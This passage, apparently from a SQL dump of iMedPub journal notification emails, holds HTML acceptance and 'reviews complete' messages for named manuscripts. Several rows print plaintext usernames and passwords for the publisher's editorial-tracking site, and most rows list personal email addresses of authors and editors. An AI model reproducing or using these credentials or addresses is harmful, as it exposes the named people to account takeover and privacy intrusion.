submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',3851,'2020-06-11',984),(1429,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4013</b><br />\r\n            <br />\r\n            Article Title: <b>Early sexual debut and associated factors among high school and preparatory students in Kindo Koyisha district, Wolayta zone, South Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>DAKA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drsdk200@gmail.com',4013,'2020-06-11',48),(1430,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4087</b><br />\r\n            <br />\r\n            Article Title: <b>ASSESSMENT OF SALT AND FLUID INTAKE AND IT&rsquo;S RELATION TO SYMPTOMS AMONG CHF PATIENTS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Avani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','avanimekala@gmail.com',4087,'2020-06-11',48),(1431,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4092</b><br />\r\n            <br />\r\n            Article Title: <b>Identification and Antimicrobial Resistance Pattern of Listeria Species Isolated From Food Chilling Lines at Haramaya University, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Addis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mekonnenaddis2010@yahoo.com',4092,'2020-06-11',48),(1432,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4092</b><br />\r\n            <br />\r\n            Article Title: <b>Identification and Antimicrobial Resistance Pattern of Listeria Species Isolated From Food Chilling Lines at Haramaya University, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Addis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mekonnenaddis2010@yahoo.com',4092,'2020-06-11',48),(1433,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4131</b><br />\r\n            <br />\r\n            Article Title: <b>Level of Physical activity among students and their suggestions for &lrm;promoting physical activity</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kashif</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kashif.shaffi@gmail.com',4131,'2020-06-11',48),(1434,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3623</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEGDE ,ATTITUDE AND PRACTICE ON OBSTETRICS DANGER SIGNS OF PREGNANCY AMONG ANC ATTENDING PREGNANT WOMEN IN GUNUNNO HEALTH CENTER GUNUNO  TOWN WOLAITA ZONE SNNPR,ETHIOPIA  APRIL 2019 G.C.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Adema</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bulchaguye@gmail.com',3623,'2020-06-11',48),(1435,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-2794</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of exercise in Quality of Life of Stroke survivors: Systematic Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ali</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','usmanali.muhammad@yahoo.com',2794,'2020-06-11',48),(1436,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-2754</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of hookah among pregnant women in Baghdad </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>gatea</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','abeergatea@hotmail.com',2754,'2020-06-11',48),(1437,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3935</b><br />\r\n            <br />\r\n            Article Title: <b>Blood Donation Practice and Associated Factors among College Students in Kolfe Keraniyo Sub City, Addis Ababa, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tiruneh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mesabeje@gmail.com',3935,'2020-06-11',48),(1438,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3894</b><br />\r\n            <br />\r\n            Article Title: <b>Level and predictive factors of unmet need for contraception in Ethiopian reproductive age women (15-19 years): Cross sectional analysis of Ethiopia Demographic and Health Survey 2016 data.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kassahun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mnch2014award@gmail.com',3894,'2020-06-11',48),(1439,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3809</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEDGE  AND  PRACTICE  OF  MOTHERS   CARING  FOR CHILDREN WITH  ACUTE   RESPIRATORY  INFECTION  AMONG MOTHERS    ATTENDING  U-5 UNIT  AT  BEDELE HOSPITAL, SOUTH WEST ETHIOPIA, 2018.  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chewaka</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Lalisachewaka@gmail.com',3809,'2020-06-11',48),(1440,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3220</b><br />\r\n            <br />\r\n            Article Title: <b>FREQUENCY OF ASSOCIATION OF PERIPHERAL ARTERY DISEASE AND CORONAROPATHIE: RESULTS OF A CROSS-SECTIONAL MONOMETRIC STUDY IN THE EASTERN ALGERIAN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>RACHID</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mer18net@yahoo.fr',3220,'2020-06-11',48),(1451,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3722</b><br />\r\n            <br />\r\n            Article Title: <b>Therapeutic role of Arsenic Trioxide in cancer protection</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Prof.Rizwanul Haque</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipaom-20-3722</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','lukasz.szarpak@gmail.com',3722,'2020-06-11',85),(1452,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3722</b><br />\r\n            <br />\r\n            Article Title: <b>Therapeutic role of Arsenic Trioxide in cancer protection</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Haque</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','archanabtn@cusb.ac.in',3722,'2020-06-11',85),(1453,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4610</b><br />\r\n            <br />\r\n            Article Title: <b>Outcome of Traumatic Cervical Spinal Cord Injury in a general ICU: A 5 - year review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>TINUOLA ADIGUN</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4610</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',4610,'2020-06-11',85),(1469,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3860</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of Different Exercise Routines on Rainbow Trout Rearing Performance</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jill Voorhees</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3860</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',3860,'2020-06-12',645),(1470,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3835</b><br />\r\n            <br />\r\n            Article Title: <b>Population dynamics of Rainbow Sardines, Dussumieria acuta (Valenciennes, 1847) from Pakistani waters</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Abdul Baset</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3835</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3835,'2020-06-12',645),(1471,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3723</b><br />\r\n            <br />\r\n            Article Title: <b>Short Term Survival and Tag Retention of Gizzard Shad Implanted with Dummy Transmitters</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dylan Gravenhof</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br 